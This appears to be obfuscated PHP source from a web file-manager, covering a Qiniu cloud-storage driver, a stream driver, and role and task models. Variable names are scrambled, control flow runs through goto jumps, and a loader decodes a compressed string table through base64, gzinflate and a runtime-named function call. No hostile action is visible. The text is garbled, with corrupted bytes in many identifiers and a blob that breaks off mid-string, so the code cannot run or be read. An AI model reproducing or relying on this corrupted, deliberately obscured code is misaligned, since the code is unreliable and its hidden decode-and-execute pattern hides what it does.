$_SERVER[ˆ¡¹µ‹Â]; $¾é·¾¦› = $this->fileList($çÀÜìûš, $•ë©•‘Ê[12], !0); $•§€´Êã = array_to_keyvalue($¾é·¾¦›[$•ë©•‘Ê[86]], $•ë©•‘Ê[32]); foreach ($¾é·¾¦›[$•ë©•‘Ê[85]] as $Ž<>¸ÇÔú) { if (is_string($Ž<>¸ÇÔú)) { $•§€´Êã[$Ž<>¸ÇÔú] = array($•ë©•‘Ê[79] => 0); } } return $this->listAllFiles($çÀÜìûš, $•§€´Êã); } private function fileList($ÄçÞ€á—, $ʶ㋩¦ = '', $Ë®µù²ƒ = 0) { $·ÞÙ”œá =& $_SERVER[ˆ¡¹µ‹Â]; $Äçހᗠ= trim($ÄçÞ€á—, $·ÞÙ”œá[8]); $§®«Œþþ = empty($ÄçÞ€á—) && $Äçހᗠ!== $·ÞÙ”œá[228] ? $·ÞÙ”œá[12] : $Äçހᗠ. $·ÞÙ”œá[8]; $ˆŠ£ª<C2A3>ö = $·ÞÙ”œá[12]; $ÉûØüëÏ = 1000; $¿€¿ß“¸ = $Ø£¦ÔÚ• = array(); while (!0) { check_abort(); list($·âÅçï¸, $Ȳ”°Ð<C2B0>) = $this->bucketManager->listFiles($this->bucket, $§®«Œþþ, $ˆŠ£ª<C2A3>ö, $ÉûØüëÏ, $ʶ㋩¦); if ($Ȳ”°Ð<C2B0>) { break; } $ˆŠ£ª<C2A3>ö = array_key_exists($·ÞÙ”œá[1467], $·âÅçï¸) ? $ˆŠ£ª<C2A3>ö = $·âÅçï¸[$·ÞÙ”œá[1523]] : $·ÞÙ”œá[12]; $Ü´èÔ°<C394> = isset($·âÅçï¸[$·ÞÙ”œá[1524]]) ? $·âÅçï¸[$·ÞÙ”œá[1524]] : array(); $¯à¾ãü¢ = isset($·âÅçï¸[$·ÞÙ”œá[1525]]) ? $·âÅçï¸[$·ÞÙ”œá[1525]] : array(); foreach ($Ü´èÔ°<C394> as $õÒ»ÆÅ<C386>) { if ($õÒ»ÆÅ<C386>[$·ÞÙ”œá[97]] == $§®«Œþþ) { continue; } $†ÖîŽ÷þ = $õÒ»ÆÅ<C386>[$·ÞÙ”œá[97]]; $‹ÚûÊŒË = $õÒ»ÆÅ<C386>[$·ÞÙ”œá[1521]]; $õÒ»ÆÅ<C386>[$·ÞÙ”œá[79]] = $‹ÚûÊŒË; $¨<E28093>´ = $‹ÚûÊŒË == 0 && substr($†ÖîŽ÷þ, strlen($†ÖîŽ÷þ) - 1, 1) == $·ÞÙ”œá[8] ? !0 : !1; $this->cacheMethodInfoSet($†ÖîŽ÷þ, $¨<E28093>´, $õÒ»ÆÅ<C386>); if ($¨<E28093>´) { $¿€¿ß“¸[] = $†ÖîŽ÷þ; continue; } $Ø£¦ÔÚ•[] = $Ë®µù²ƒ ? $õÒ»ÆÅ<C386> : $†ÖîŽ÷þ; } foreach ($¯à¾ãü¢ as $†ÖîŽ÷þ) { if ($†ÖîŽ÷þ == $§®«Œþþ) { continue; } $¿€¿ß“¸[] = $†ÖîŽ÷þ; $this->cacheMethodInfoSet($†ÖîŽ÷þ, !0); } if ($ˆŠ£ª<C2A3>ö === $·ÞÙ”œá[12]) { break; } } $this->cacheMethodInfoSet($ÄçÞ€á—, !0); return array($·ÞÙ”œá[85] => $¿€¿ß“¸, $·ÞÙ”œá[86] => $Ø£¦ÔÚ•); } public function canRead($ô•³ÜæÚ) { return $this->exist($ô•³ÜæÚ) ? !0 : !1; } public function canWrite($æððíæì) { return $this->exist($æððíæì) ? !0 : !1; } public function getContent($¨¦ÁÁ¹Š) { return $this->fileSubstr($¨¦ÁÁ¹Š, 0, -1); } public function setContent($ó¹Ä⯰, $Û¦†ö¸« = '') { $㎿÷¸ = $this->tempFile($this->pathThis($ó¹Ä⯰)); file_put_contents($㎿÷¸, $Û¦†ö¸«); if ($this->upload($ó¹Ä⯰, $㎿÷¸)) { $this->tempFileRemve($㎿÷¸); return !0; } return !1; } public function refreshUrls($ý¤þ‹Éï) { $íï¯Ý¿¯ =& $_SERVER[ˆ¡¹µ‹Â]; $‘‚Ž«²ƒ = array(); if (is_array($ý¤þ‹Éï)) { foreach ($ý¤þ‹Éï as $<24>¼¿Ë¡¿) { $‘‚Ž«²ƒ[] = $this->link($<24>¼¿Ë¡¿); } } else { $‘‚Ž«²ƒ[] = $this->link($ý¤þ‹Éï); } $×Êúƒ¿š = new Qiniu\Cdn\CdnManager($this->auth); list($ÒŸ´íä“, $÷Õñ‚Òª) = $×Êúƒ¿š->refreshUrls($‘‚Ž«²ƒ); if ($÷Õñ‚Òª) { return !1; } return $ÒŸ´íä“[$íï¯Ý¿¯[1257]] == $íï¯Ý¿¯[826] ? !0 : !1; } public function fileSubstr($ð˜ÐÜ<C390>ê, $„ÕÀ¢ƒì, $€†­‚ÞÁ) { $âêðŸæˆ =& $_SERVER[ˆ¡¹µ‹Â]; if (!($ƒŸã´¼Þ = $this->link($ð˜ÐÜ<C390>ê))) { return !1; } $â÷Ëž¤à = !1; if ($€†­‚ÞÁ > 0) { $‚ëÄàà  = $„ÕÀ¢ƒì + $€†­‚ÞÁ - 1; $â÷Ëž¤à = array($âêðŸæˆ[1526] . $„ÕÀ¢ƒì . $âêðŸæˆ[462] . $‚ëÄàà ); } $»<>­àûæ = url_request($ƒŸã´¼Þ, $âêðŸæˆ[261], !1, $â÷Ëž¤à); return $»<>­àûæ[$âêðŸæˆ[817]] ? $»<>­àûæ[$âêðŸæˆ[1280]] : !1; } public function upload($¿êÄÑÊ®, $ùå°ž•¦, $àèñ¢˜ˆ = false, $»§ÛŠÒ© = REPEAT_REPLACE) { $õ—î¤žË = new Qiniu\Storage\UploadManager(); $–û›‰ ¶ = $this->auth->uploadToken($this->bucket, $¿êÄÑÊ®); $ ÜܺÁ¹ = get_file_mime(get_path_ext($ùå°ž•¦)); list($™Ú‡Ÿíù, $â„ñêêÇ) = $õ—Ë->putFile($–û›‰ ¶, $¿êÄÑÊ®, $ùå°ž•¦, null, $ ÜܺÁ¹); return $â„ñêêÇ ? !1 : $this->getPathOuter($¿êÄÑÊ®); } public function uploadFormData($ñ¿Ê ³Æ, $<24>ûÞÂí™ = 3600) { return $this->uploadToken($ñ¿Ê ³Æ, $<24>ûÞÂí™); } public function multiUploadFormData($‡ê¡êÆÏ, $Åñºä±<C3A4> = 3600) { return $this->uploadToken($‡ê¡êÆÏ, $Åñºä±<C3A4>); } private function uploadToken($±¹<C2B1>±¬<C2B1>, $´¹œŸ²à = 3600) { $úûÁ®Ï<C2AE> =& $_SERVER[ˆ¡¹µ‹Â]; $Ò•ÁÁÀ¹ = $´¹œŸ²à; $®ÕÎ™ï† = array($úûÁ®Ï<C2AE>[1527] => $úûÁ®Ï<C2AE>[1528]); $ÁÒµ²×Ð = $±¹<C2B1>±¬<C2B1>; $ù½±Ò›« = $this->auth->uploadToken($this->bucket, $ÁÒµ²×Ð, $Ò•ÁÁÀ¹, $®ÕΙï†, !0); $󳋟Öü = empty($this->region) || $this->region == $úûÁ®Ï<C2AE>[1529] ? $úûÁ®Ï<C2AE>[12] : $úûÁ®Ï<C2AE>[462] . $this->region; $„‘ÎÅ´ž = http_type() . "\x3a\57\57\x75\x70\x6c\157\141\x64{$󳋟Öü}\x2e\161\x69\156\x69\165\160\56\143\x6f\155\x2f"; return array($úûÁ®Ï<C2AE>[1530] => $ù½±Ò›«, $úûÁ®Ï<C2AE>[1531] => $„‘ÎÅ´ž); } public function download($ŽÂäùˆÜ, $¾Üúªž¶) { $–øš½ãó = IO::getPathInner(IO::mkfile($¾Üúªž¶)); if (!($ºÁïÓÓï = $this->link($ŽÂäùˆÜ))) { return !1; } $ð⟎Œ<C5BD> = 0; $Ôïëþø<C3BE> = 1024 * 200; $§î°é›ç = fopen($–øš½ãó, $_SERVER[ˆ¡¹µ‹Â][1532]); while (!0) { $Í”£‰Èæ = $this->fileSubstr($ŽÂäùˆÜ, $ð⟎Œ<C5BD>, $Ôïëþø<C3BE>); if ($Í”£‰Èæ === !1) { return !1; } fwrite($§î°é›ç, $Í”£‰Èæ); $ð⟎Œ<C5BD> += $Ôïëþø<C3BE>; if (strlen($Í”£‰Èæ) < $Ôïëþø<C3BE>) { break; } } fclose($§î°é›ç); return $¾Üúªž¶; } public function link($ÊÖã“Ðô, $™ˆ™Ò×<C392> = '') { if (!$this->isFile($ÊÖã“Ðô)) { return !1; } $¨ü<C2A8>ñ§« = $this->getHost() . $_SERVER[ˆ¡¹µ‹Â][8] . $this->pathEncode($ÊÖã“Ðô) . $™ˆ™Ò×<C392>; return $this->auth->privateDownloadUrl($¨ü<C2A8>ñ§«, 3600 * 12); } public function fileOut($¼Ù´ä†‰, $Èô½Ûàô = false, $¦Ýú³—ð = false, $…¹Ô®óª = '') { $໳ý…¥ =& $_SERVER[ˆ¡¹µ‹Â]; if ($this->isFileOutServer()) { return $this->fileOutServer($¼Ù´ä†‰, $Èô½Ûàô, $¦Ýú³—ð, $…¹Ô®óª); } if (!$¦Ýú³—ð) { $¦Ýú³—ð = $this->pathThis($¼Ù´ä†‰); } $éàª×Òþ = $Èô½Ûàô ? $໳ý…¥[1533] . rawurlencode($¦Ýú³—ð) : $໳ý…¥[12]; $ÄÞã“ï» = $this->link($¼Ù´ä†‰, $éàª×Òþ); $this->fileOutLink($ÄÞã“ï»); } public function fileOutServer($ÄÞô<C39E><EFBFBD>, $˜Ïï<C38F>äŽ = false, $˜ù€Ò¼¥ = false, $²Ì¢Òœç = '') { parent::fileOut($ÄÞô<C39E><EFBFBD>, $˜Ïï<C38F>äŽ, $˜ù€Ò¼¥, $²Ì¢Òœç); } public function fileOutImage($Ú¼»¬ú¨, $ˆ¾Ú‘ñ« = 250) { if ($this->size($Ú¼»¬ú¨) > 1024 * 1024 * 20) { return $this->fileOutImageServer($Ú¼»¬ú¨, $ˆ¾Ú‘ñ«); } $éØùº±‚ = $this->link($Ú¼»¬ú¨, $_SERVER[ˆ¡¹µ‹Â][1534] . $ˆ¾Ú‘ñ«); $this->fileOutLink($éØùº±‚); } public function fileOutImageServer($ÜÑÌÅòß, $¨¬åâ£ö = 250) { parent::fileOutImage($ÜÑÌÅòß, $¨¬åâ£ö); } public function hashMd5($òÌÑþšŠ) { $«³Œáµ» =& $_SERVER[ˆ¡¹µ‹Â]; $›÷Êç­ì = $this->objectMeta($òÌÑþšŠ); return isset($›÷Êç­ì[$«³Œáµ»[245]]) ? $›÷Êç­ì[$«³Œáµ»[245]] : !1; $Õ¾Ýý០= $this->link($òÌÑþšŠ, $«³Œáµ»[1535]); } public function size($űÑ<C2B1>ú<EFBFBD>) { $<24>ýÉ€ôî = $this->objectMeta($űÑ<C2B1>ú<EFBFBD>); return $<24>ýÉ€ôî ? $<24>ýÉ€ôî[$_SERVER[ˆ¡¹µ‹Â][79]] : 0; } public function info($¢Î<C2A2>žë‰) { if ($this->isFolder($¢Î<C2A2>žë‰)) { return $this->folderInfo($¢Î<C2A2>žë‰); } else { if ($this->isFile($¢Î<C2A2>žë‰)) { return $this->fileInfo($¢Î<C2A2>žë‰); } } return !1; } public function exist($ã׉ÇÜ¥) { return $this->isFile($ã׉ÇÜ¥) || $this->isFolder($ã׉ÇÜ¥); } public function isFile($É<C383>½îí) { return !$this->isFolder($É<C383>½îí) && $this->objectMeta($É<C383>½îí); } public function isFolder($¸ÛœÃû­) { return $this->cacheMethod($_SERVER[ˆ¡¹µ‹Â][179], $¸ÛœÃû­); } protected function objectMeta($ùƒÕÓ<E280B9>) { return $this->cacheMethod($_SERVER[ˆ¡¹µ‹Â][181], $ùƒÕÓ<E280B9>); } protected function _objectMeta($…<>ùëÆ) { $¯ç¾äÚŸ =& $_SERVER[ˆ¡¹µ‹Â]; list($óë¾ÐŸô, $»âÒ‚Àó) = $this->bucketManager->stat($this->bucket, $…<>ùëÆ); if ($óë¾ÐŸô) { $óë¾ÐŸô[$¯ç¾äÚŸ[79]] = intval($óë¾ÐŸô[$¯ç¾äÚŸ[1521]]); } return $óë¾ÐŸô; } protected function _isFolder($ûÝ<C3BB>ºÏî) { $ËêÑýš¦ =& $_SERVER[ˆ¡¹µ‹Â]; if ($ûÝ<C3BB>ºÏî == $ËêÑýš¦[12] || $ûÝ<C3BB>ºÏî == $ËêÑýš¦[8]) { return !0; } list($¿ïè䑌, $åµ¢¿’’) = $this->bucketManager->listFiles($this->bucket, trim($ûÝ<C3BB>ºÏî, $ËêÑýš¦[8]) . $ËêÑýš¦[8], $ËêÑýš¦[12], 1, $ËêÑýš¦[8]); return !empty($¿ïè䑌[$ËêÑýš¦[1524]]) || !empty($¿ïè䑌[$ËêÑýš¦[1525]]) ? !0 : !1; } } class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($ä<>ìÌ€õ, $ªÎ·”Ÿõ = 0) { parent::__construct(); $this->source = $ä<>ìÌ€õ; $this->sourceSize = $ªÎ·”Ÿõ; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($ÄטËãú = false) { return $this->sourceSize; } public function getContent($¡²œ–Ž™ = false) { return $this->fileSubstr($¡²œ–Ž™, 0, $this->sourceSize); } public function fileSubstr($”è¹áÄ<C3A1> = false, $ÈÖ›×þê = 0, $<24>†É㧪 = 0) { if (!$<24>†É㧪) { $<24>†É㧪 = $this->sourceSize; } $é<>˜<E2809E>§ = $this->sourceSize - $ÈÖ›×þê; if ($<24>†É㧪 >= $é<>˜<E2809E>§) { $<24>†É㧪 = $é<>˜<E2809E>§; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $ÈÖ›×þê, $<24>†É㧪); } if ($this->sourceType == self::TYPE_FILE) { if ($<24>†É㧪 <= 0) { return $_SERVER[ˆ¡¹µ‹Â][12]; } $³®§œËñ = ftell($this->source); fseek_64($this->source, $³®§œËñ + $ÈÖ›×þê); $š€¯õýç = @fread($this->source, $<24>†É㧪); fseek_64($this->source, $³®§œËñ); return $š€¯õýç; } } public function hashMd5($“þ<E2809C>„°Ô = false) { return md5($this->getContent()); } public static function hash($Ç禇ðƒ, $ªŒ£ñ¶Ï = 0) { $ÊýÈ’±ò = new PathDriverStream($Ç禇ðƒ, $ªŒ£ñ¶Ï); return $ÊýÈ’±ò->hashSimple($Ç禇ðƒ); } public static function md5($‡“Ó¸ð«, $ìö빿© = 0) { $Ýä§ÎÔÐ = new PathDriverStream($‡“Ó¸ð«, $ìö빿©); return $Ýä§ÎÔÐ->hashMd5($‡“Ó¸ð«); } } goto Dž±õžŒÈ¸; b‰Å<E280B0>Úï©Ã: class SystemRecordModel extends ModelBaseLight { } class SystemRoleModel extends ModelBaseLight { public $optionType = "\x53\171\x73\x74\x65\155\56\162\x6f\154\145\114\x69\163\164"; public $field = array("\156\141\155\x65", "\x61\x75\x74\x68", "\154\x61\142\145\x6c", "\x64\x69\163\x70\x6c\141\x79", "\163\x79\x73\164\x65\155", "\144\x65\163\x63", "\151\x67\x6e\157\x72\145\105\170\x74", "\x69\147\x6e\x6f\162\x65\106\x69\154\x65\123\151\172\x65", "\x61\144\155\x69\x6e\151\x73\x74\162\141\x74\157\162", "\x73\157\x72\164"); public function listData($¬öôºß› = false, $ÖëÅÂóó = "\163\x6f\x72\x74", $Ýö‚Å—Ü = false) { $â˜ÈµŠÝ =& $_SERVER[ˆ¡¹µ‹Â]; $ÁȘ÷äÛ = parent::listData($¬öôºß›, $ÖëÅÂóó, $Ýö‚Å—Ü); if (!$¬öôºß›) { foreach ($ÁȘ÷äÛ as $œàƒíÄ => $ëÅï±àÓ) { if ($ëÅï±àÓ[$â˜ÈµŠÝ[2170]] == 1) { $ÁȘ÷äÛ[$œàƒíÄ][$â˜ÈµŠÝ[526]] = LNG($â˜ÈµŠÝ[2436]); } } } return $ÁȘ÷äÛ; } public function update($…¬Úû²å, $ðòú×÷é) { $³ÞÚ©ºç =& $_SERVER[ˆ¡¹µ‹Â]; $ÅœâÖùå = parent::listData($…¬Úû²å); $‹è”ŸÁÑ = $this->findByName($ðòú×÷é[$³ÞÚ©ºç[32]]); if (!$ÅœâÖùå || $‹è”ŸÁÑ && $‹è”ŸÁÑ[$³ÞÚ©ºç[475]] != $ÅœâÖùå[$³ÞÚ©ºç[475]]) { return !1; } if ($‹è”ŸÁÑ[$³ÞÚ©ºç[2170]] == 1) { $ðòú×÷é = array($³ÞÚ©ºç[32] => $ðòú×÷é[$³ÞÚ©ºç[32]], $³ÞÚ©ºç[1985] => $ðòú×÷é[$³ÞÚ©ºç[1985]]); } $this->filterAuth($ðòú×÷é[$³ÞÚ©ºç[487]]); return parent::update($…¬Úû²å, $ðòú×÷é); } public function remove($â½<C3A2>ŽÎÓ) { $‰œŠË¦ý = parent::listData($â½<C3A2>ŽÎÓ); if (!$‰œŠË¦ý || $‰œŠË¦ý[$_SERVER[ˆ¡¹µ‹Â][191]]) { return !1; } return parent::remove($â½<C3A2>ŽÎÓ); } public function add($ê’˜ÕïÒ) { $¨‹ãõÙÍ =& $_SERVER[ˆ¡¹µ‹Â]; $÷ªø×ù¥ = $ê’˜ÕïÒ[$¨‹ãõÙÍ[32]]; if ($this->findByName($÷ªø×ù¥)) { return !1; } $Ä<>œ»©¤ = array($¨‹ãõÙÍ[494] => $÷ªø×ù¥, $¨‹ãõÙÍ[1968] => $¨‹ãõÙÍ[12], $¨‹ãõÙÍ[1964] => $¨‹ãõÙÍ[1972], $¨‹ãõÙÍ[2437] => 1, $¨‹ãõÙÍ[1967] => 0, $¨‹ãõÙÍ[2438] => 0, $¨‹ãõÙÍ[1966] => $this->getSort()); $ê’˜ÕïÒ = array_merge($Ä<>œ»©¤, $ê’˜ÕïÒ); $this->filterAuth($ê’˜ÕïÒ[$¨‹ãõÙÍ[487]]); return parent::insert($ê’˜ÕïÒ); } private function getSort() { $–å€êе =& $_SERVER[ˆ¡¹µ‹Â]; $¸Îò´ò½ = parent::listData(); $ëÐæ°Îä = array_to_keyvalue($¸Îò´ò½, $–å€êе[12], $–å€êе[1986]); return empty($ëÐæ°Îä) ? 0 : max($ëÐæ°Îä) + 1; } private function filterAuth(&$Ÿæ„<C3A6>´) { $îìŒÛ¤´ =& $_SERVER[ˆ¡¹µ‹Â]; $¥ê•„†À = array(); $ô¨ÒÜôö = array_filter(explode($îìŒÛ¤´[50], $Ÿæ„<C3A6>´)); foreach ($ô¨ÒÜôö as $Ÿæ„<C3A6>´) { $âý“ÜÝò = explode($îìŒÛ¤´[10], $Ÿæ„<C3A6>´); if ($âý“ÜÝò[0] == $îìŒÛ¤´[2439] && $âý“ÜÝò[1] != $îìŒÛ¤´[1268]) { $­è•ë <C3AB> = $âý“ÜÝò[0] . $îìŒÛ¤´[10] . $âý“ÜÝò[1] . $îìŒÛ¤´[2440]; if (!in_array($­è•ë <C3AB>, $ô¨ÒÜôö)) { $¥ê•„†À[] = $­è•ë <C3AB>; } } $¥ê•„†À[] = $Ÿæ„<C3A6>´; } $Ÿæ„<C3A6>´ = implode($îìŒÛ¤´[50], $¥ê•„†À); } public function findRoleDefault() { $ ½õØ·¿ =& $_SERVER[ˆ¡¹µ‹Â]; $ÍâÁ´<C381>ž = parent::listData(); $›¯øÏð× = !1; foreach ($ÍâÁ´<C381>ž as $ôöËøÕÜ) { if (!$ôöËøÕÜ || $ôöËøÕÜ[$ ½õØ·¿[1984]] == $ ½õØ·¿[228] || $ôöËøÕÜ[$ ½õØ·¿[2170]] == 1) { continue; } if (strstr($ôöËøÕÜ[$ ½õØ·¿[487]], $ ½õØ·¿[2441])) { continue; } if (!strstr($ôöËøÕÜ[$ ½õØ·¿[487]], $ ½õØ·¿[2442])) { continue; } if (!$›¯øÏð×) { $›¯øÏð× = $ôöËøÕÜ; continue; } $ô퟼âà = explode($ ½õØ·¿[50], $›¯øÏð×[$ ½õØ·¿[487]]); $´ÖšˆÙÜ = explode($ ½õØ·¿[50], $ôöËøÕÜ[$ ½õØ·¿[487]]); if (count($ô퟼âà) > count($´ÖšˆÙÜ)) { $›¯øÏð× = $ôöËøÕÜ; } } return $›¯øÏð× ? $›¯øÏð×[$ ½õØ·¿[475]] : $ ½õØ·¿[12]; } public function sort($£´ØÔ´ö, $ÑÉáćª) { return parent::update($£´ØÔ´ö, $ÑÉáćª); } } class SystemTaskModel extends ModelBaseLight { public $optionType = "\123\171\163\164\145\x6d\x2e\x74\141\x73\x6b\x4c\x69\163\x74"; public $field = array("\156\x61\x6d\x65", "\x74\171\x70\145", "\x65\166\x65\x6e\164", "\x74\x69\155\145", "\x64\x65\x73\143", "\163\x79\x73\164\x65\155", "\x65\156\x61\x62\x6c\145", "\x6c\141\x73\164\122\165\x6e", "\x73\157\162\x74"); public function listData($è˜ô<CB9C>·ª = false, $û±þŠÛ• = "\x73\x6f\x72\164", $¶¯þÛ¯Š = false) { return parent::listData($è˜ô<CB9C>·ª, $û±þŠÛ•, $¶¯þÛ¯Š); } public function add($©ëÔÜö±) { $­<>¾£œó =& $_SERVER[ˆ¡¹µ‹Â]; $°±—ˆœÜ = $this->findByName($©ëÔÜö±[$­<>¾£œó[32]]); if ($°±—ˆœÜ) { return !1; } $©ëÔÜö±[$­<>¾£œó[1714]] = 0; $©ëÔÜö±[$­<>¾£œó[1986]] = $this->getSort(); return parent::insert($©ëÔÜö±); } private function getSort() { $՚ŀþ<E282AC> =& $_SERVER[ˆ¡¹µ‹Â]; $£Ú¦<C39A>¶ç = parent::listData(); $É®µ‘­ë = array_to_keyvalue($£Ú¦<C39A>¶ç, $՚ŀþ<E282AC>[12], $՚ŀþ<E282AC>[1986]); return empty($É®µ‘­ë) ? 0 : max($É®µ‘­ë) + 1; } public function update($ïëçÙñù, $§è×ý‰Á) { $襢ڗ› =& $_SERVER[ˆ¡¹µ‹Â]; $Þ–†Œýâ = $this->listData($ïëçÙñù); $†­Î· = $this->findByName($§è×ý‰Á[$襢ڗ›[32]]); if (!$Þ–†Œýâ || $†­Î· && $†­Î·[$襢ڗ›[475]] != $Þ–†Œýâ[$襢ڗ›[475]]) { return !1; } return parent::update($ïëçÙñù, $§è×ý‰Á); } public function remove($<24>ÜËÌן, $Þ“Ú†½ò = false) { $Ç嶌Ж =& $_SERVER[ˆ¡¹µ‹Â]; $ÕᯞØè = $this->listData($<24>ÜËÌן); if (!$ÕᯞØè) { return; } if (!$Þ“Ú†½ò && $ÕᯞØè[$Ç嶌Ж[191]] == $Ç嶌Ж[91]) { return !1; } return parent::remove($<24>ÜËÌן); } public function enable($‹ÊÕÀ—õ, $šéø€Â¾) { return $this->update($‹ÊÕÀ—õ, array($_SERVER[ˆ¡¹µ‹Â][2431] => $šéø€Â¾)); } public function run($Ѝ¥¿ü«) { return $this->update($Ѝ¥¿ü«, array($_SERVER[ˆ¡¹µ‹Â][2443] => time())); } } goto F„ñ•„¥íË; Cº¾‡—¾<E28094>ž: $fileSize = strrev(base64_decode($_SERVER[Û<>¼Ô…²][0])); function binCheckNeq($«”ûá–Ó, $Æ òÕ–’) { return $«”ûá–Ó != $Æ òÕ–’; } $_SERVER[$_SERVER[Û<>¼Ô…²][1]] = $fileSize($_SERVER[$_SERVER[Û<>¼Ô…²][2]]); goto d´Œô廸; d½ø‡Ò²Øã: if (!function_exists('_kodDe')) { function _kodDe($str) { $str = base64_decode($str); $l = strlen($str); $result = ''; $offset = ord($str[0]) - 30; for ($i = 1; $i < $l; $i += 2) { if ($i + 1 < $l) { $result .= chr(ord($str[$i + 1]) + $offset); $result .= chr(ord($str[$i]) + $offset); } else { $result .= chr(ord($str[$i]) + $offset); } } return $result; } } define(strrev('‹µ¹¡ˆ'), "\xee\xc5\x97\x9d\x86\xf7"); $_SERVER[ˆ¡¹µ‹Â] = explode("\174\4\174\2\174\1", gzinflate(substr("\37\213\10\0\0\0\0\0\0\23\305\175\11\174\33\305\365\60\155\51\20\316\36\224\102\57\66\206\340\43\72\354\334\161\342\4\131\226\143\21\131\162\44\71\7\266\331\254\245\265\265\261".strrev('ÿ¿~†Jìsxæø<02>W-¥¡;(ZP ÷rÚ¹@ @<40>(’Ð-¥_p®®Ú9+´U¤').base64_decode('9/t9gURzvJmd4817b968efPi5nt/f9btaw5c88U1X3hvw4v3PfQ7Gkb/fRn9kvDx5x1yAA==')."\371\363\365\363\66\324\324\264\315\70\164\162\364\360\315\167\154\323\156\321\266\151\33\142\221\307\237\10\37\361\324\55\247\204\306\156\170\174\144\354\13\7\334\273\367\327\305\106\4\114\313\66"."\xd2\x1f\x25\x6f\xda\x8a\x3e\x6c\x58\xb6\x45\x13\x52\x66\xbe\xcf\xe8\xa7\x61\x23\x4f\x7f\xfd\xf4\xa7\x33\x1e\x29\xea\x39\xd3\xd6\x69\xd4\x47\x7f\x54\x68\x17\xf9\xd7\x5a\x99\x35\x58\xbe\x1a\x8d\x25\xd5\x44\x67".strrev('rje±":„¶¬ÒÔÔ­šÒ"Þz 0Z<30>\\<5C>jÐ_¾ZŠÐT!¦g?9F ž(GG')."\x59\x47\x8\x20\x7a\xd5\x95\x25\xbd\x38\x42\x63\x24\x98\xb0\xb5\xa2\x9d\x34\x72\x3a\x87\x18\x2a\xf2\x76\x35\x87\x16\x84\xa3\x4a\x32\x1e\x88\x26\x2\xc1\x64\x38\x16\xa5\xc9\xc1\x58\x7b\x7b\x38\x59\x9e\x1e\x8f"."\105\42\315\201\340\302\362\234\216\170\140\101\173\100\101\355\313\352\252\221\357\63\153\224\345\64\147\271\122\113\3\255\206\236\115\323\140\136\143\315\261\107\12\20\112\362\20\232\246\174\51\233".base64_decode('pZEoD6X1Pq2UhdFqkSOFopHTWKcX6iM8lQa0km0a+RSNhIbtoibSUVtTaKL1PFSVCEVCwQ==')."\xa4\x82\x1b\xa8\xb4\xc6\x63\xed\xa\x4c\x42\x4e\xb3\x6c\xbd\xa8\x2c\x69\xb\xc5\x43\xa\x6e\x74\x53\x35\xe9\x6b\xb5\x2\xf8\x12\x45\x43\xa1\x4\x22\x11\x65\xbc\x1a\x6c\x3d\x57\x60\xd5\xd0\x32\x15\x2a\x8b\xc5"."\x5b\x42\x71\xa5\x79\x99\x22\x46\x28\x65\xe6\x72\x66\xde\x87\x6a\x41\x33\x69\x4b\x4d\xd\xc5\xe3\x34\xe0\x1\xf4\x8e\x84\xf1\xa4\x41\x24\xd6\xda\x9a\x8\xf1\x18\x74\x6e\x51\x4\xb5\x64\x2a\xe0\xa7\x23\x96\xee"."\313\332\352\240\226\55\61\64\35\240\277\325\360\3\277\246\5\250\273\322\310\33\45\100\123\250\302\64\371\262\202\100\211\101\353\54\105\117\103\40\207\312\233\120\256\27\322\172\31\324\12\26".base64_decode('MNAKHaTBpnn0dw6U71Vxnl60VT2fMtNGHtbxfMBHzc60FA0EQON9ZjbNwpaxCnrZZ2T1aA==')."\51\47\203\360\150\52\143\144\323\105\266\364\76\13\222\106\43\174\45\143\130\21\53\240\226\160\42\140\364\215\210\245\210\341\72\170\256\145\226\212\51\75\214\226\16\215\67\100\262\156\333\250"."\163\154\100\314\316\102\326\324\322\11\275\310\273\146\230\255\250\242\130\311\226\23\113\4\254\325\54\346\132\20\321\200\357\243\5\143\164\126\310\30\140\113\46\55\215\230\277\246\353\164\357\47"."\75\135\47\243\177\152\201\52\166\103\233\62\172\66\253\352\303\72\254\251\134\172\272\305\6\303\157\365\32\171\77\112\241\321\160\114\315\150\126\246\75\75\135\45\245\30\261\115\353\303\276\102"."\xa6\x0\xb\x9e\xaf\xf1\x6e\x7\xce\xe3\xa1\x8b\x9a\x76\x48\x22\xd9\x59\x33\xa5\x65\xe5\x2e\xd2\x70\xc6\xb6\xb\x9\x3d\x9f\xc6\x23\x1\x5d\x31\x87\xf2\x64\xa4\xa\xba\xe\x40\x2d\x1e\x25\xad\xb4\x2b\xcb\x94"."\266\106\243\321\142\5\163\131\36\142\275\343\151\26\117\264\207\331\164\246\373\0\133\31\307\250\202\17\32\26\41\176\142\345\152\205\102\326\110\151\266\141\346\375\146\312\326\155\257\145\27\165".base64_decode('DWoMpFK6ZXmDZt4umllvIJs1h7yxotFv5BuVOqDDKBOtdy+mjY2wiKvmKBhx8Gfqmkp2nw==').base64_decode('dxZbnBy6qOWtPr3oDcHKaFRQYzmBZGAthlUwLQM3r1HRbFtLZTBxEdU3fQa8kc8aeb0cFg==')."\125\242\173\73\212\132\177\116\153\124\12\245\136\64\0\260\40\41\55\205\41\144\140\30\200\106\45\247\15\173\265\176\126\123\150\270\140\24\165\213\365\132\131\320\236\4\214\352\363\266\343\205".base64_decode('ZOhpbwJRb6hsav00BeGKwvJoalsy2aGGWxF7jobU9kAy2Aa121o/qzqCaDKvkiUu9aIFhQ==')."\261\51\212\72\47\22\73\314\41\275\210\76\334\74\322\250\14\230\351\136\163\330\307\262\60\160\2\121\26\6\214\347\267\140\173\343\132\276\37\167\243\167\304\326\55\67\155\152\106\314\334\327".base64_decode('R1evr1fvM4vQG2uw3zn4ET3fb2dY3YlQfHEoriZircklgTjw/jzCnGHWGvz1rDeup9Egpg==')."\154\126\116\53\210\321\137\352\305\13\6\177\234\345\342\105\304\362\42\341\5\170\354\132\274\26\2\362\312\120\254\356\210\221\63\160\367\154\236\103\6\33\11\6\13\240\101\176\322\347\246\156"."\xab\xae\xa6\x3b\x3d\xb9\xd6\x8b\xfe\xad\xab\xed\xea\x6e\xf1\xd5\xf5\xcc\xf7\x1b\xa2\x8c\xbf\xc1\xd7\xa0\x4c\xa9\x9f\xa1\x74\x20\x49\xc5\xd0\xb2\xa\x74\xba\xc\xa2\x5e\x89\x2d\x74\xe\x8b\xc0\xf0\xbc\x99\xd7".base64_decode('Ky4shEimpXvbdA0RaTQRjnnxsG/R+GeMLuaVEi1xzQtNjIcWdYYSSbU